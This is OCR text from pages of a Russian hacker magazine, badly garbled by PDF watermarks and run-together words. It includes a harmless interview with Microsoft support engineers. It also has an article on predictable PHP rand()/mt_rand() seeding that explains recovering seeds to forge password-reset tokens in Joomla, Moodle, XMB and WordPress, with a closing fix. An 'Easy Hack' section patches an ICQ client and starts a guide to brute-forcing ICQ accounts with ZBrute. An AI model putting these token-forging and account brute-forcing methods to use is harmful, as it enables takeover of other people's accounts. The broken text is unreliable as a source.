книги хакеры / журнал хакер / 127_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Microsoft®
Fix it
ИНТЕРВЬЮ С ИНЖЕНЕРАМИ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Чтобы узнать больше о работе инженеров — самых главных специалистов по поддержке — мы решили задать им несколько вопросов напрямую. Ребята оказались очень веселыми и с радостью прокомментировали интересующие нас моменты.
Q:Часто ли случается, что проблема пользователя связана с неизвестными ранее ошибками в продуктах компании? Можете вспомнить конкретный случай и дать его описание?
A:Бывает. Как сказано в тексте лицензии MS, «никакой продукт не свободен от ошибок». Бета-тестирование и предпродажное распространение, конечно, убирают основную шероховатость, но не было бы аббревиатуры SP (1,2...6), не находи пользователи ошибки в процессе эксплуатации.
Обращения, связанные с ошибками, единичны и составляют считанные промилле (в них еще измеряют алкоголь в крови водителя:)). Пользователю, обратившемуся с проблемой, признанной впоследствии ошибкой, обычно рекомендуют workaround (обходное решение) или предлагают ждать выхода отдельного исправления или пакета исправлений (SP).
Например, в русской версии Visio 2007 клавиши навигации («стрелки») были перепутаны местами. Т.е. курсор «ехал» не туда. Баг пофиксили только в Microsoft Office Visio SP2. Internet Explorer 8.0 не сохраняет cookies для двухбуквенных доменов. Ранее, для IE6.0/7.0 требуемый домен мог быть добавлен в реестр вручную. На данный момент двухбуквенные домены жестко вшиты в библиотеку dll, которая будет обновляться через
Windows Update.
Q:Каким образом удается смоделировать проблему пользователя на машине инженера службы поддержки? Какой софт используется, что лежит в его основе?
A:Моделирование проблем пользователей происходит в виртуальной среде. Используются Microsoft Virtual PC или встроенный в 2008-й сервер функционал Hyper-V — для эмуляции систем с различной разрядностью. Инженер проходит по шагам, которые привели пользователя к проблеме. Если проблема воспроизводится — ищем готовое решение, изобретаем новое или передаем проблему узким специалистам. Если и они не находят решения
— признаем ошибку в продукте. Если повторить ошибку не удает-
ся — уточняем детали и пробуем снова. Можем, конечно, и подключиться к пользователю удаленно, чтобы самим посмотреть на последовательность его действий.
Q: Интересно услышать про механизм удаленного подключения к рабочему столу пользователя. Как реализована эта возможность? Насколько часто приходится к ней прибегать и всегда ли на такое подключение соглашается пользователь?
A: Для удаленного подключения к рабочему столу используется инструмент Microsoft Easy Assist. Инженер дает пользователю ссылку на веб-страницу Easy Assist. На этой странице пользователь загружает и устанавливает клиентскую часть программы — ActiveX компонент. После этого инженер имеет возможность наблюдать за действиями пользователя, а с дополнительного разрешения пользователя может взять в свои руки управление компьютером. Для предупреждения паранойи инженер постоянно комментирует свои действия: «format c:, ok»?
После окончания сессии юзер может оставить ActiveX-компонент впрок или удалить с машины.
Используется Easy Assist далеко не всегда. Эффективнее всего задействовать его, когда известно точное решение проблемы, а просить пользователя выполнять эти действия пошагово будет дольше, чем выполнить самому. Или, как говорили выше, когда инженеру надо лично посмотреть на шаги пользователя, ведущие к ошибке. Как правило, пользователи соглашаются на такое взаимодействие.
Q:Создаются ли какие-нибудь «точки возврата» на случай, если во время решения проблемы пользователь напортачит еще сильнее?
A:Пользователь сам отвечает за сохранность данных. Вместе с тем, перед радикальными изменениями в системе инженеры рекомендуют создать точку восстановления системы для последующего отката или советуют сохранить личную информацию.
Q:Что делает инженер, если проблему пользователя решить не удается?
A:Если инженер уперся в пределы своей компетентности, он всегда может проконсультироваться с более узкими специалистами внутри компании. Вместе с тем, такая консультация (да если в нее еще и вовлечены иностранные коллеги) может растянуться на дни и недели. Хотя это и приведет к нахождению решения, тут уже пользователю приходится решать — продолжать научноисследовательскую работу или, скажем, откатить систему на момент до возникновения ошибки или переустановить продукт. Ведь для данного конкретного юзера решение проблемы — это не обязательно фиксация бага в продукте, а просто «нет проблемы — нет проблемы».
XÀÊÅÐ 07 /127/ 09 |
039 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
|
RAND |
взлом |
IS NOT RAND |
|
|
RAND |
RAND |
IS NOT RAND |
|
|
IS NOT RAND |
RAND |
|
IS NOT RAND |
|
RAND |
RAND |
IS NOT RAND |
IS NOT RAND |
RAND
IS NOT RAND
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
СЛУЧАЙНОСТИ IS NOT RAND |
|
ELECT |
|
RAND |
|
НЕСЛУЧАЙНЫ |
RAND |
|
IS NOT RAND |
ФАТАЛЬНАЯ ОШИБКА РАНДОМИЗАЦИИ ВPHP
ЕщегодназадСтефанЭссерповедалмируопредсказуемостигенерациислучайныхчиселвPHP. Но, какэточастобывает, разработчики, даипрограммисты, невсегдаадекватнореагируютнабюллетени безопасности(ктобыих, вообще, читал, аеслиичитал, точиталвнимательно…). Чтоэто? Лень? Человеческийфактор? Нежеланиепризнаватьиисправлятьсвоиошибки? Какбытонибыло, генераторслучайныхчиселPHP по-прежнемуостаетсяпредсказуем.
>> взлом
Дляправильногопониманиясутиуязвимости вспомним,чтонамужедолжнобытьизвестноиз статейСтефанаЭссера,M4G'aиRaz0r'a.Материалвстатьях,намойвзгляд,представленподробно,нонесколькоразбросанно.Ставяодинза другимэкспериментыиразобравшисьвдеталях уязвимости,янабросалкраткийкурспоизучению. Полагаю,этопоможеттебеболеечеткопредставитьсутьбагиивникнутьвтонкостипроцесса.
НЕМНОГОТЕОРИИ
ВPHP длягенерациислучайныхчиселисполь- зуетсянесосед-программист, каквбородатом анекдоте, адвебазовыхфункциинавыбор: rand() иmt_rand(). Втораяпредпочтительнеек использованиюввидубольшейпсевдослучайностигенератора. Благодарязакономерностям вгенерациизначенийвозможныатакинакод,
использующийэтифункции, например, при генерацииилисбросепаролей. Поясним, как этоможноиспользовать, вызвавуязвимость. Во-первых, энтропияпоследующеговызова rand (mt_rand) зависитотрезультатапредыдущеговызовафункции, именнопоэтомуалгоритмпсевдослучаен. ОднаконачальныйSEED можнозадатьчерезфункциюсприставкой
's': srand (mt_srand). Тоесть, знаяначальный
SEED, мыможемповторитьгенерациюна любомкомпьютере, сгенерироваввсюцепочку якобыслучайныхвызововrand (mt_rand), и получить приэтомабсолютнотежечисла, что иворигинальномприложениинаудаленном сервере. Во-вторых, начальныйSEED зачастую черезsrand (mt_srand) вообщенезадают(по забывчивостииличеловеческойглупости).
Аеслифункцияsrand (mt_srand) небыла
вызвана(либовызванабезпараметров), то PHP задаетначальныйSEED самостоятельно. Проблемавтом, чтотакойSEED непревышает числа2^32, аэточисломожнобанальноперебрать. Разберемсявособенностяхгенерации, когданачальныйSEED задаетсяPHP самостоятельноввидуотсутствиявызоваsrand (mt_srand). Главнаяособенностьrand (srand)
заключаетсявтом, чтодляфункцийвозвращаемыйрезультатразличенпод*nix иWindows.
ПРАКТИКУЕМУЯЗВИМОСТЬ
Результатпредыдущеговызоваrand() используетсявчистомвидекакначальныйSEED для следующеговызоваrand(). Посути:
"$SEED=rand();srand($seed);$SEED=r and();...".
040 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
RAND |
|||
|
w |
|
|
|
|
|
|
IS NOT RAND |
||
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
RAND
IS NOT RAND
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
LOG EXPLOIT: XMB 1.9.11 RANDOM PASSWORD RESET VULNERABILITY
Этооченьполезнознать, таккакнетребуется искатьначальныйSEED, ведьегоможнопросто получитьчерезвыводрезультатаrand(), если
таковойимеется.
Здесьвсепредельнопросто: имеемвывод rand() — имеемначальныйSEED.
ПодWINDOWS результатвызоваrand() (азначит, иначальныйSEED) непревышаетчисло 32767. Милыйсердцубаг, — результатможно какдвабайтаперебрать(спасибоRaz0r'уза исследование).
Под*NIX всенемногосложнее— максимальноечислоSEED составляет2^32.
Отмечу, чтодляmt_rand (mt_srand) имеет значениеверсияPHP.
ДляPHP 4.x.x<=5.2.0 множествовариантов значений, возвращаемыхmt_rand(), составляет2^31. Именно31 — такназываемый«баг единички»:
"mt_rand(1)=mt_rand(2);mt_ rand(3)=mt_rand(4);...".
МаксимальныйначальныйSEED непревышает числа2^32, ноиз-заповторяющихсязначений количествокомбинацийнапорядокменьше (2^31). Этона50% ускоряетскоростьбрута. ДляPHP >=5.2.1 множествовариантоввозвращаемыхзначенийmt_rand() составляет 2^32. МаксимальныйначальныйSEED, какив предыдущемслучае— mt_rand(2^32), ноколичествокомбинацийздесьполное(2^32).
ОСОБЕННОСТЬ ПЕРЕКРЕСТНОГОВЛИЯНИЯ
Функцииrand (srand) иmt_rand (mt_srand)
никакневлияютдругнадруга. Тоесть, вызов srand() неповлияетнарезультатmt_rand() и наоборот. Этобываетважно, когдавприложе- ниипокакой-либопричинеиспользуютсяоба вариантагенератора.
Дляосуществленияатакитребуютсяследующиеосновныеусловия:
1.Мыдолжныпрямоиликосвенноиметьвывод rand (srand, mt_rand, mt_srand) длявычисле-
нияначальногоSEED.
2.СервердолженподдерживатьKeep-Alive соединения.
3.PHP долженработатькакмодульапача(не cgi инеfastcgi).
PUNBB 1.2.16 BLIND PASSWORD
RECOVERYANDRAND VULNERABILITY
4.Адскийпатчбезопасностисухошина (suhoshin) недолженбытьустановлен. ПривыполнениивсехусловийPHP-про- цесс, обслуживающийсоединениесобоими субдоменами, будетоднимитемже. Этодаст
зависимостьмеждувызовамифункцийгенераторов.
ВБОЙ!
Дляначалавспомним, какпроводилисьатаки годичнойдавности:
1.Веб-приложениеможетсамоиметьпрямой, либокосвенныйвыводрезультатаработы генератора.
Данномуслучаюсоответствуетэксплоитпод Wordpress посредствомвосстановления паролязарегистрированномуюзеру, азатеми администратору(milw0rm.com/exploits/6421).
Соответственно, изпочтыюзерузнаеттокен восстановленияпароля, гдепосамомутокену вычисляетсяначальныйSEED.
2.Возможноосуществитькросс-атакучерез веб-приложение, расположенноенасубдомене данногосервера.
НаданномпринципеоснованэксплоитRaz0r'a кWordpress'учерезPhpBB насубдомене, где PhpBB выводитmt_rand врезультатахпоиска
(raz0r.name/wp-content/uploads/2008/08/wp1. html).
3.НачальныйSEED можнополучитьлобовым брутфорсомлибобрутфорсомпопредварительносгенерированнойрадужнойтаблицеготовых значенийвызововrand (mt_rand).
Какпример, эксплоитRaz0r'a «SMF<=1.1.5 Admin Reset Password Exploit (win32)» для WINDOWS (raz0r.name/articles/magiya- sluchajnyx-chisel-chast-2).
Итак, чтообщегомеждуэтимиалгоритмами? Пункт#3, пожалуй, исключение, ввидуособенностиrand() вWindows ибрутфорса, присущего, такилииначе, всемпредставленнымалгоритмам. Нопервыедваоснованынаотсутствии вызоваsrand (mt_srand). Онибазируются именнонаэтом, апофакту— накриптографическойуязвимостигенераторапсевдослучайныхчиселвPHP, из-занедостаточнобольшого начальногоSEED 2^32(2^31).
ПАТЧНАПАТЧ, ИЛИКАКНЕНАДОДЕЛАТЬ
ЧтожесделалисоздателиPHP, дабызащитить нас? НачинаясPHP 5.2.6, начальныйSEED сталмногобольше— угадать(перебрать)
егопрактическиневозможно. Казалосьбы, проблемарешена. Акакнасчетпредсказуемости? Предсказуемостьпсевдослучайности
MOODLE 1.X RANDOM PASSWORD RESET TOKEN VULNERABILITY
отпредыдущихвызововосталасьтакойже, как ибыла! Почемуэтонепоказалосьразработчикамкосякомвреализациипсевдослучайности
— одномуБогуизвестно. Нофактестьфакт— зависимостьосталась, ихакерыпродолжают питьшампанское. Интересно, почему?
АНТИДОТ, ИЛИРЕШЕНИЕПРОБЛЕМЫ
Атакинаmt_rand() проходятвстиле«угадайначальныйSEED исгенерируйпонему mt_rand()». Аеслиmt_srand() задается изначально, казалосьбы— баганет. Ноэто нетак! Именноблагодаряпоследовательной зависимости(предсказуемости) генера-
цииmt_rand()Æmt_rand()Æmt_rand()Æ...,
атакастановитсявозможной. Послевызова mt_srand() ватакуемомприложениинеобхо- димовKeep-alive-соединенииобратитьсяк взломанномусубдоменунасервересвызовом
«print mt_rand();». ПолучивзначениеN-го вызоваmt_rand() послеустановкиmt_srand(), остаетсялишьперебратьлокальнозначения mt_srand(SEED) ивосстановитьцепочку, пока N-йвызовmt_rand() небудетравенполученномуссубдомена. НайденныйSEED будетсоответствоватьискомому, ипонемумысгенерируемсамтокен(пароль) из(N-1) mt_rand(). Выход насамомделепрост. Все, чтотребуетсяот программиста, дабызащититьсвоетворение,
— этоповторновызватьsrand (mt_srand) после вызоваrand (mt_rand).
ГЛУМИМСЯНАДДВИЖКАМИ
Насталовремярассмотретьтедвижки, накоторыхсамБогвелелэксплуатироватьнайденную уязвимость.
• Joomla Weak Random Password Reset Token Vulnerability.
Уязвимостьjoomla<=1.5.6 заключаетсяв10-ти миллионахкомбинацийвозможныхтокенов сбросапароля. КакдемонуСтефануудалось перебрать10 млн. вариантовтокеновсдо- машнегоDSL-каналаза3 часа— дляменятак иостанетсязагадкой. Начинаясверсии1.5.7, разработчикиввели2^32 (crc32) комбинаций токенов. Однако, переборщикпустьи10 миллионовтокенов, по-моемунереален. Ното, чтов последнейверсииджумлытокенгенерируется уязвимымкатакенаmt_rand() черезкросприложения\субдомен— этофакт.
• Moodle 1.x mt_rand() Admin Reset Password Exploit.
XÀÊÅÐ 07 /127/ 09 |
041 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
RAND
IS NOT RAND
RAND
IS NOT RAND
|
|
RAND |
RAND |
|
IS NOT RAND |
|
RAND |
|
IS NOT RAND |
RAND |
IS NOT RAND |
|
IS NOT RAND |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
RAND |
|
|
|
|
|
||||
IS NOT RANDBUY |
|
|
|
|
|
||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
STEFAN ESSER: MT_SRAND AND NOT SO RANDOM NUMBERS
PHP GENERATE_SEED() WEAK RANDOM NUMBER SEED VULNERABILITY
JOOMLA WEAK RANDOM PASSWORD RESET TOKEN VULNERABILITY
|
77^8. Но реальное количество комбинаций ограничено srand(). При |
|
эксперименте установлено, что практически нигде нет чистого |
|
вызова srand() или mt_srand(). Как ни удивительно, это хорошо. В |
|
случае вызова «mt_srand ((double) microtime() * 1000000);» придет- |
LOG EXPLOIT: JOOMLA WEAK RANDOM PASSWORD |
ся перебирать лишь 1 млн. комбинаций, а не 4 млрд., как при дефол- |
товом вызове. А значит, и криптостойкость генерации не превышает |
|
RESET TOKEN VULNERABILITY |
1 млн. комбинаций. — XMB 1.9.x mt_rand() Admin Reset Password |
|
Exploit. И снова баг засел в системе восстановления пароля. При |
Приналичиишелланасубдоменеможновосстановитьтокенсброса |
знании пары «Username + E-Mail» генерируется новый пароль и тут |
пароля, вызвавmt_rand() ипосчитавSEED дляmt_srand(). Послечего |
же устанавливается. На e-mail отправляется уведомление с самим |
сброситьпарольпонайденномутокену, нопарольуйдетнамылоадми- |
паролем. Если у нас имеется шелл на поддомене — можно вызвать |
на, имыегонеувидим. Даифункциягенерациипаролясовсемдругая |
mt_rand в Keep-alive-соединении и восстановить начальное значе- |
— онаосновананаsrand(). Этокакразтотсамыйслучай, когдавпри- |
ние SEED для mt_srand. Подбор SEED при этом занимает считанные |
ложениииспользуютсяобагенератора. Вверсии1.9.x веткивалго- |
секунды. |
ритмгенерациипаролядобавленрежимповышеннойбезопасности. |
ПОБЕДАЗАХАКЕРАМИ |
Так, впростомрежимеиспользуетсяалгоритм«word1+num+word2», |
|
гдеnum — числоиз0123456789, аword1 иword — словаизсловаря. |
…иэтодалеконевесьсписок. Зайдинаgoogle.com/ |
Словарьрасположенвlib/wordlist.txt (доступенпрямоизWeb) иподе- |
codesearch?q=mt_srand(%5C%20|)+%5C(%20lang:php иэксперимен- |
фолтусодержит35 слов. Итого, возможновсеголишь35*10*35=12250 |
тируйсам. Патчаттакиебаги, какпоказалагодоваяпрактика, — кри- |
комбинацийнезависимоотrand() иsrand(). Еслинайтиспособобойти |
во, нетольковеб-программисты, ноисамиразработчикиPHP. Правят |
блокировкуприбрутфорсепаролей— можносброситьиперебрать |
либоавто-SEED, апропредсказуемостьзабывают(недобавляют |
его. |
внешнююэнтропиювродеmd5(microtime()) илиMySQL’овый'select |
В режиме повышенной безопасности символы перемешиваются |
rand()' ит.д.), либоправятпредсказуемостьизабываютпроавто- |
посредством str_shuffle(), которая зависит от srand(). Количество |
SEED. Вобщем, хотеликаклучше, аполучилоськаквсегда. Хакеры |
вариантов без учета rand() и srand() громадно — чуть меньше, чем |
опятьрулятмиромиразбитымиPHP-движками. z |
LOG EXPLOIT: XMB 1.9.11 RANDOM PASSWORD RESET VULNERABILITY
042 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
>>m |
|
||||
w Click |
to |
|
|
|
|
взлом |
|||||
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
Easy |
Hack |
ХАКЕРСКИЕ |
||
|
|
|
|
СЕКРЕТЫ |
|
|
|
|
ПРОСТЫХ |
|
|
|
|
ВЕЩЕЙ |
|
|
|
|
|
ЛЕОНИД «R0ID» СТРОЙКОВ |
M0R0 |
MUXX |
|
|
/ R0ID@MAIL.RU / |
/ M0R0@INBOX.RU / |
/ MUXX@BK.RU / |
|
|
|
|
|
|
|
|
|
|
|
|
ЗАДАЧА: ВРУЧНУЮПРОПАТЧИТЬ №1 IM-КЛИЕНТQUTIM ДЛЯРАБОТЫС
НОВОЙВЕРСИЕЙICQ-ПРОТОКОЛА
РЕШЕНИЕ:
ВпоследнеевремяперебоивработеICQ нередкость. Связаноэтовпервую очередьспостояннымиобновлениямипротокола, вследствиечегобольшинствонеофициальныхклиентовпопроступерестаюткорректноработать. Еслиувладельцевквипаиликрысыестьвыход— ждатьпатч, тообладателям qutim’анадеятьсяненачто, кромекакнасамихсебя. Впрочем, пропатчить утилусамостоятельнонетаксложно, дляэтогоследуетпроизвестиряднехитрыхманипуляций:
1.Патчимфайлoscarprotocol.cpp, аименно:
@@-46,7 +46,7 @@ oscarProtocol::oscarProtocol(const QStri
connectionSocket = new QTcpSocket(this); |
|
|
|
|
|
|
|
buffer = new icqBuffer(this); |
|
Патчимqutim |
|
buffer->open(QIODevice::ReadWrite); |
|
|
|
- flapSeqNum = rand() % 0x8000; |
|
QByteArray seq; |
|
+ flapSeqNum = 0x0000; |
|
- quint16 num = rand() % 0xffff; |
|
reqSeq = 0x0000; |
|
+ quint16 num = 0x000; |
|
keepAlive = true; |
|
seq[0] = num / 0x100; |
|
connectBos = false; |
|
seq[1] = num % 0x100; |
|
|
|
return seq; |
|
2. ВносимизменениявфайлclientIdentification.cpp (87-аястрока): |
|
|
|
|
3. Каквариантрешенияпроблемыдлястороннихклиентов— изменение |
||
|
|
||
@@ -84,7 +84,7 @@ |
|
первоначальногозначенияSequence Number на0. Кстати, данныйспособ |
|
QByteArray clientIdentification::getSeqNumber() const |
|
былобнаруженbiophreak’ом, такчтоприжеланиитыможешьнагуглить |
|
{ |
|
дополнительнуюинфупотеме. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
№2 |
ЗАДАЧА: ОРГАНИЗОВАТЬБРУТ |
|
|
|
|
|
|
|
|
|
- Наличие файла конфигура- |
|
||
|
|
АСЕК |
|
|
öèè |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
РЕШЕНИЕ: |
|
|
|
|
Большевсегонасинтересует, ес- |
|
|
Спам-рассылкипоасямвпоследнеевремяприобретаютмассовыйхарактер, |
|
|
тественно, первыйпункт— возмож- |
|||
|
причем, особойпопулярностьюуспамеровпользуютсяуин-листыс6-ти/7-мизнач- |
Брутимаси |
|
ностькомпиляцииподниксамии |
|||
|
|
|
|||||
|
ныминомерками. Такчто, какникрути, аагитироватьзаспамянестану, также, как |
|
|
виндой. Чтобыутебяневозникало |
|||
|
нестануагитироватьизафлудасекнеприятелей. Темнеменее, отомкаксбрутить |
лишнихвопросов, сейчасмыподробнорассмотримпроцессустановки, |
|||||
|
несколькосотен/тысячicq-номерков— расскажу, идаженебудуспрашивать, зачем |
настройкиизапускатулзыподразнымиосями. Начнемсвинды: |
|||||
|
онитебенужны:). Итак, первоесчемнамнужноопределиться— этософт. Дабыне |
1. СливаемутилуснашегоDVD (желательнонаудаленныйдедик). |
|||||
|
зацикливатьсянаодномконкретномпродукте, ярешилостановитьвыборнадвух |
2. Копируемехе-шниквнужнуюнамдиру, например, C:\ZBrute. |
|||||
|
хорошозарекомендовавшихсебясофтинах— ZBrute иUBrute. Начнем, какводит- |
3. Запускаемпрогуизконсоли: |
|
|
|||
|
ся, попорядку. ЕслиговоритькороткоофункционалеZBrute, тоследуетвыделить: |
|
|
|
|
||
|
|
|
|
C:\ZBrute\ZBrute.exe -o C:\ZBrute\settings.txt |
|
||
|
- Возможность компиляции под *nix и Windows ОС |
|
|
|
|
|
|
|
|
Кактыдогадался, вфайлеsettings.txt содержатсянастройкибрутера, о |
|||||
|
- Наличие консольного динамического интерфейса |
|
|||||
|
- Поддержка удаленной консоли |
|
